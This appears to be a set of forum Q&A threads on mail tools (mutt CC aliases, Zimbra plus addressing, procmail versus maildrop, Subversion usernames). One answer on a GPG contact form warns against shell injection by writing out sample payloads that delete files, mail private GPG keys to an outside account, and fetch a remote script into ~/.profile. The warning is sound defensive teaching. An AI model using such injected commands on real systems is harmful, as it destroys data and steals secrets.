When emailing to someone with mutt, I would like to have my messages automatically CC'd to someone. Typically, we are a team of academics working with a student, and I would like my exchanges with the student to be sent to others.
Mutt aliases seems to be on a "per field" basis. So I could use it to put my coworkers in an alias, but they would be in the "To:" field, not "CC". Is there a workaround?
Setting edit_headers to yes (and having a nice macro in my editor) would not help, since I'd like such a behavior for only a fraction of my communication. Modern tools like Slack/mattermost are also used, but not always.
Answer
Add following into your config:
alias coworkers peter#example.com, joe#example.com, bob#example.com
my_hdr CC: coworkers
then all addresses listed in alias coworkers will be added to CC. You can employ hooks to better control to which newly composed messages or replies will my_hdr used or not.
References
neomutt docs:
neomutt md_hdr or mutt my_hdr
neomutt hooks or mutt hooks
Related
I am currently programming my own little website system (a script that compiles Markdown documents, and puts them in appropriate locations, thus making a quick, static website).
I would like to enable people who go to my (initially static) contact page, to send me a GnuPG-encrypted message.
Basically, the visitor writes his or her message in a contact form, clicks this checkbox if they want the message to be encrypted, and upon receiving the form, a C(?) program of mine calls system("gpg --encrypt --recipient 31A49121CD42FF00 --armor <the_message>");
(I have yet to determine how to effectively get the message contents and use it in a command without writing the unencrypted message to disk).
Is it (un)secure to use exec() in a self-made C program that processes form data? Is there a simpler way to achieve what I want to do (using a standalone script—because my website is static—to run GPG)? Any security considerations I haven’t thought about?
I am asking on here instead of Security SE because I am looking for answers with developers’ points of view.
As a security professional who makes at least a modest living consulting on the subject, and a rather prolific C programmer I can give you a few different thoughts on the subject.
When you are considering security of processes executing on your target, you have to consider a number of things and how someone may abuse the situation.
A glimpse
Let's look at the immediate security problem that I see just off hand, you are using the "system()" call directly on <the_message> ; Can you imagine the following:
the_message="hello and goodbye; rm -rf *; cat $HOME/.gpg/* | /usr/bin/sendmail -s 'these are the private keys' temporary_account#hotmail.com" or worse;
the_message="hello and goodbye; wget http://some.remote.system.com/evil.sh && mv evil.sh ~/.profile;"
So the first thing to do is never use anything provided by a user as a command or part of a command-line; save the message to a temporary text file and encrypt that;
A slightly deeper look
Okay so what's going on in terms of using C; Before I give you the answer, I would like to say I love C; I almost exclusively program in C and have been a professional developer with main focus on C for last 24 years. Now, I would like to say that C is a horrid tool for writing a CGI program in, and you should only do it if you have a truly compelling reason. And after you find that reason, you should discard it anyways and abandon the thought.
Here are some reasons why you SHOULDN'T use C for a CGI interface.
CGI/1.1 is an ugly standard; It uses environment variables, stdin, and all sorts of character remapping and recoding just to get data across. You are invariably going to have to deal with either implementing a cgi interface or using libcgi or some equivalent library in order to deal with all the permutations, and at the end you'll just hate yourself for it.
When I used http://libcgi.sourceforge.net for a particular project I had to debug and harden and augment it because it had some horrible buffer over flow issues left right and center, non-existant utf-8 support and limited control over authentication.
But even if you have that covered, C is generally a bad idea because a lot of the security issues arise out of the manual manipulation of memory that one has to do.
A higher level language (shell script, awk, perl, php etc.) is a much better tool to handle CGI; Perl was almost built for it, and PHP was specially built for it. Another advantage of using perl or PHP in your situation is that GnuPG modules are available so that you don't have to system() anything;
The key to good development is to use the easiest, most straightforward toolkit for the job; In your case I think you should NOT use C, as it would force you to do things that are already very well done for you in form of a proper CGI processing language such as PHP.
Those are my thoughts; I hope that you will
I'd like to configure bbdb to not auto-notice addresses in mailing list mail. I'm trying to use the X-Mailing-List and X-Mailman-Version headers, since those seem to be consistently present on all the mailing lists I read, but it doesn't seem to be working (i.e. bbdb still offers to save email addresses from mails containing those headers)... What am I doing wrong?
(setq bbdb-ignore-message-alist
'((("X-Mailman-Version" "X-Mailing-List") . ".*")))
By the way, I'm using bbdbv3.
Looking at my copy of the BBDB manual, it seems that you need to set bbdb/mail-auto-create-p (setting it to bbdb-ignore-some-messages-hook) and then you want bbdb-ignore-some-messages-alist (note the "-some"). See section 1.7.3: Predefined Hooks.
I want to allow emails like myusername+something#mydomain.com instead of simply myusername#mydomain.com using Zimbra - this is a feature on Gmail.
Does anyone where to begin looking to allow this to work? Postfix?
How to implement this in Zimbra is available on the official Zimbra wiki here:
http://wiki.zimbra.com/wiki/Plus_Addressing
Zimbra stores a lot of Postfix parameters in LDAP so modifying the running Postfix config won't work.
To enable Plus Addressing with Zimbra, use zmprov as follows:
zmprov mcf zimbraMtaRecipientDelimiter +
Note that the delimiter can be a character other than '+'.
To disable Plus Addressing, use zmprov as follows:
zmprov mcf -- -zimbraMtaRecipientDelimiter +
After making changes to enable or disable this feature, it may be required to restart tomcat. Postfix should pick up the changes automatically, though it may take a couple minutes to register.
Yeah, postfix is the right place. Look at recipient_delimiter in the postconf docs:
recipient_delimiter (default: empty)
The separator between user names and address extensions (user+foo). See canonical(5), local(8), relocated(5) and virtual(5) for the effects this has on aliases, canonical, virtual, relocated and on .forward file lookups. Basically, the software tries user+foo and .forward+foo before trying user and .forward.
Example:
recipient_delimiter = +
I need to do mail processing where I manipulate the contents of the mail or invoke a script on the receipt of email, supporting a number of email addresses as the access points. In reading through the MDA agents, procmail appears to be the standard standby, but maildrop has some following too. Wikipedia comments that anyone starting something new should consider maildrop because procmail hasn't been advanced in quite a while.
Are there any solid reasons from features or capabilities that would indicate using one of these over the other?
Here is a summary of what I have read in various places:
Maildrop claims to be a "drop-in replacement" for procmail.
Procmail uses an archaic syntax with several unmemorable single-letter commands. Maildrop uses a more powerful, versatile, and readable pattern-action syntax which bears a strong resemblance to that of awk.
Procmail is more widely used than maildrop. Procmail has more examples available on line.
Procmail reads large messages into memory. Maildrop makes use of pipes and temporary files to avoid overloading RAM. Procmail claims to have a very slight speed advantage.
My suggestion: Read the docs for both, and go with the one whose syntax makes more sense to you.
It is quite difficult to answer. As far as I can see, procmail is very stable and works well.
It is not clear (to me) if maildrop can be integrated so easily in .forward like procmail.
The good things of procmail are:
it is based on pipes, so you can easily add filter using formail+sed+bash
it is easy to build a yes/no filter to use with procmail (i.e. a spam processor)
do most of the things you need
the mailing list is still alive
On the opposite:
procmail syntax for dynamic match is complex (the / stuff) and I have found little example
documentation is scattered on a lot of howto. This url is good
http://pm-doc.sourceforge.net/doc/
but should be edited a bit.
We want to use the same user-id across all our dev tools, but this limitation from subversion is not allowing us to use email addresses as usernames.
Well, since you can create groups consisting of multiple users, and later refer to them by using #<groupname>, I guess having a # in a regular username may be a problem.
This is from the example in the default authz file generated when creating new svn repository:
[groups]
harry_and_sally = harry,sally
[repository:/baz/fuz]
#harry_and_sally = rw
Which gives the users in group harry_and_sally read and write permissions to the repository in /baz/fuz.
It really depends on how you set up Subversion. It's possible that the standard Subversion built-in authentication for svnserve does not allow . and # (I haven't tried). I have set up my Subversion repositories using Apache instead of the built-in svnserve. Under Apache you can use standard Apache access controls like htpasswd files or even integration with LDAP or Microsoft Active Directory. Then you can use e-mail addresses or AD logins for your Subversion users.
Subversion actually uses UTF-8 internally to store all of its data, including the usernames, so there isn't really any restriction on what you can name your users. For example, I just created a commit with the user:
'Й, ק, م, ๗, あ, 叶, 葉, and 말.'
The thing is, other programs may reserve certain characters for special purposes, such as [, =, and # in the svn passwd file. Subversion can handle a wider range of usernames, but that particular file format cannot. If you are finding yourself unable to use certain characters, it is a limitation of some other link in the chain, like Apache or your IDE or your database, or whatever.
That isn't too helpful because you probably can't easily fix whatever is causing this or switch tools, but such is the state of "weird" characters these days.
It does allow "." in username, never tried #.
At my $JOB company e-mail address is the standard user name for Subversion, so it must work.
On my team, however, we insisted on being given our (also company-wide) Windows user names which tend to be no longer than 8 characters. User names like Reallylongfirst.Andlastname#amazing-products.com make for terrible usability in standard GUI log viewers and don't play nicely with svn blame.
The usual way to construct URIs containing a username is
protocol://user#host:port/path. svn uses this too, so the # character is special. I haven't tried but I'm rather confident that you could escape it (like %40) to make it work. However, IMO it's a rather bad idea to use complete email addresses as usernames. If you're inside a company, why can't you use the local part? Everything else will most likely be the same for all users, thus you're only repeating information -- and it won't play nicely with log views.
See also RFC 3986.